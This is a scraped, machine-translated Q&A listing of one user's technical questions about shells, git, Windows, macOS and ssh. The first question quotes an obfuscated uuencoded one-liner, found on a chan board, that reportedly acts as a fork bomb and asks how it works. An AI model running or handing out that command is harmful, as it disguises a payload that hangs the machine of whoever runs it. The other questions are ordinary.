小编Kar*_*aru的帖子

这串文本如何以及为什么是一个分叉炸弹?

在随机 chan 板上找到:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Run Code Online (Sandbox Code Playgroud)

以某种方式运行这会导致无限生成过程,该过程猖獗并使机器停止。我看到一些关于“su”的东西试图被多次执行。

..这很奇怪,因为我只希望输出文本,而不是执行任何内容。

通过在线解码器运行此文本只会给我一批二进制输出:

解码结果

这些乱七八糟的文字究竟在做什么,有没有办法“安全”地查看它?

encoding shell malware forking

145
推荐指数
3
解决办法
2万
查看次数

如何在 Mac 中不使用鼠标打开文件夹?

我最近从 Windows 切换到 Mac。这很痛苦,但我现在已经适应了 Mac 命令和快捷方式,除了一个。那是每当我选择一个文件夹并按Return/Enter它执行重命名。虽然我期待它打开它?

有什么办法可以更改快捷方式吗?

keyboard-shortcuts macos

61
推荐指数
3
解决办法
5万
查看次数

我应该将代码/项目存储在 SSD 还是辅助驱动器上?

我刚收到一个新盒子。

它有一个用于主驱动器的 SSD和一个用于辅助驱动器的 1TB SATA 硬盘。

我将在 SSD 上运行 Windows 操作系统和我的二进制文件,并将我
所有的下载/文档/音乐/等保存在辅助驱动器上。

我的问题是,我还应该将 Visual Studio 项目和代码保存在 SSD 上,还是将它们保存在辅助驱动器上?

更快的 SSD 可能更适合编译和索引搜索,但是将它放在第二个驱动器上是否会更好以实现更并行的磁盘 IO 情况?

ssd hard-drive visual-studio io

19
推荐指数
2
解决办法
1万
查看次数

Git 克隆“检查连接性” - 它是什么?

git clone通过 SSH 或 HTTP 执行存储库时,您会得到如下所示的输出:

Cloning into 'some_directory'...
remote: Counting objects: 7, done.
remote: Compressing objects: 100% (5/5), done.
remote: Total 7 (delta 0), reused 5 (delta 0), pack-reused 0
Unpacking objects: 100% (7/7), done.
Checking connectivity... done.
Run Code Online (Sandbox Code Playgroud)

我对最后一个“检查连接”步骤感兴趣。它发生repo 及其所有元数据已下载之后,即在任何 Internet 连接完成之后。

该过程的这一步究竟完成了什么?

git

14
推荐指数
1
解决办法
6070
查看次数

什么告诉 Windows 安装程序服务正在进行另一个安装?

错误截图

此错误的通常解决方法是重新启动机器,这确实通常可以解决问题。对于特别顽固的情况,其他解决方案包括禁用安装程序服务,然后重新启动。

但是,就本问题而言,假设此错误发生在服务器或其他一些停机时间不可接受的系统上。我们希望在不重新启动的情况下执行此操作。

很明显,在某处存储了一些数据,安装程序在抛出此错误消息之前正在检查这些数据。存在一些标志告诉安装程序服务正在进行另一个安装。

我感兴趣的是这些数据的存储位置

究竟什么通知安装程序服务另一个安装已经在进行中?

windows windows-installer

14
推荐指数
1
解决办法
1855
查看次数

你如何在脚本中确定你是在 Linux 还是 BSD 系统上?

我有一个相当广泛的 dotfiles 选择,这些文件在 git repo 中保存了最长时间 - 我只是为 bsd-isms 维护一个单独的代码分支(例如,在 Linux 上,为了获得彩色的 ls 输出ls --color=auto,但是在类似 BSD 的系统上,包括 Mac OS,它是ls -g)。

这已经开始变得笨拙,因为我必须进行更改,然后在每次触摸我的 shell 的 rc 文件时合并分支并处理冲突解决方案。解决这个问题的正确方法是删除 git 分支,然后让我的 rc 文件确定它在哪种操作系统上,然后为别名提供适当的插件脚本。

问题是,我不知道该怎么做。

如何从脚本或 shell rc 文件中判断我是在 Linux 还是 BSD 上?

uname从那以后就不会真正起作用了,我必须为那里的各种系统编写一堆逻辑。当我对操作系统底层类型更感兴趣时,Mac 会说 Darwin、FreeBSD 等,因为这会影响我正在处理的特定工具集。对于上面的示例,我使用的是 bsdls还是 GNU ls

linux script bsd shell

11
推荐指数
1
解决办法
2848
查看次数

Windows 10 无法进入睡眠状态。睡眠状态 S1-S3 不可用

我有一台 Windows 10 台式机,我想我过去某个时候禁用了“睡眠”。但是,现在我想再次启用它,但我不知道该怎么做。

首先。Windows 根本不认为睡眠是一种选择。只有冬眠。

   C:\Windows\system32>powercfg /A
   The following sleep states are available on this system:
    Hibernate
    Fast Startup

The following sleep states are not available on this system:
    Standby (S1)
        The system firmware does not support this standby state.

    Standby (S2)
        The system firmware does not support this standby state.

    Standby (S3)
        The system firmware does not support this standby state.

    Standby (S0 Low Power Idle)
        The system firmware does not support this standby state.

    Hybrid Sleep
        Standby …
Run Code Online (Sandbox Code Playgroud)

windows hibernate sleep group-policy windows-10

10
推荐指数
1
解决办法
8533
查看次数

在哪里可以查看或管理 WSL2 或某些其他应用程序创建的隐藏 Hyper-V VM?

具体来说,Windows Subsystem for Linux 2Bluestacks(Android 模拟器)这两个应用程序明确利用了 Hyper-V,并且需要在运行它的系统上启用 Windows 功能。

WSL2在大多数方面都像虚拟机一样,它有自己的网络接口,并且需要跳过某些环才能将虚拟机中侦听的服务公开给外界。

Bluestacks在其设置过程中明确提到了虚拟机的创建。

我希望能够像其他任何应用程序一样使用 Hyper-V 管理器应用程序查看和浏览这些虚拟机......但没有列出:

Hyper-V 管理器屏幕截图 忽略“新虚拟机”,这是我在使用这些应用程序之前几个月手动创建的东西 - 但这也证明了 Hyper-V 管理器可以正确地看到虚拟机。

事实上,这两个应用程序都运行“隐藏”虚拟机,这让我相信它们在管理器中不可见的原因是相同的。

我使用的是 Windows 10 b19041,并且我的用户具有管理员权限。通过右键单击菜单以管理员身份运行 Hyper-V 管理器没有效果。

在哪里可以找到这些“隐藏”虚拟机的信息并使用 Hyper-V 工具来使用它们?

hyper-v virtual-machine windows-10

9
推荐指数
1
解决办法
3411
查看次数

OSX 上的串行控制台登录

背景

我这里有一个 Wyse WY-50 终端,出于各种怀旧和生产力方面的原因(真的!),我想连接到我的 Macbook 并用作登录终端。我正在使用 OSX 10.10 El Capitan。

终端本身在背面有两个端口,一个标记为 MODEM,一个标记为 AUX。根据手册,通常您要连接的设备使用 MODEM 端口,而另一个辅助设备(如打印机)使用 AUX 端口。这些都是 DB25 端口。

MODEM 端口通过 DB25-DB9 转换器连接到我的 mac,然后通过 USB-DB9 适配器使用 Prolific 芯片组从那里连接到 mac。

我必须安装一个驱动程序才能使转换器可用。完成后,我在 中创建了两个设备/dev/,分别是cu.usbserialtty.usbserial

我按照此处指南设置 LaunchDaemon Plist 以生成getty附加到终端的会话,因为显然您不能在现代 OSX 中手动编辑/etc/ttys或运行getty

终端本身设置为 VT100 仿真模式,波特率为 19200,接收时有 DTR 流控制,发送时没有流控制(发送流控制的唯一选项是XON/XOFF

困难

事实证明,这种设置很难排除故障,因为与串行设备的不正确通信往往会“挂起”它,需要重新启动才能再次使用。

在所有情况下,getty无论是在文件中还是手动调用都具有以下形式/usr/libexec/getty std.19200 cu.usbserial

每当您看到“无输出”时,这意味着终端是无声的,什么也不显示,并且对按键无响应。

  • getty手动运行:无输出。(似乎验证了指南)
  • 添加一行/etc/ttys:无输出。(再次验证指南)

从这里开始,我尝试了 plist 方法,方法是将一个文件添加到/Library/LaunchDaemons …

terminal command-line serial-port macos

7
推荐指数
1
解决办法
5098
查看次数

通过ssh在远程机器上打开浏览器

我需要通过远程机器使用 ssh 打开具有特定 url 的浏览器,我启用了无密码连接,我能够使用 ssh 获取在远程机器上运行的命令 o/p,但是我如何使用 ssh 打开浏览器?尝试使用“-X”选项,这将在我的机器上打开远程机器浏览器(考虑到我从我的机器上运行 ssh)。

试过
1)。ssh client@IP_ADDRESS -X "firefox http://google.com - 这会在我的机器中打开浏览器。
2)。ssh client@IP_ADDRESS "firefox http://google.com此命令显示错误提示Error: no display specified

基本上,我的要求是,通过我的机器,我应该在远程机器(即 suse linux)中启动具有特定 url 的浏览器。

任何指针都非常有帮助。

谢谢。

browser ssh

5
推荐指数
2
解决办法
2万
查看次数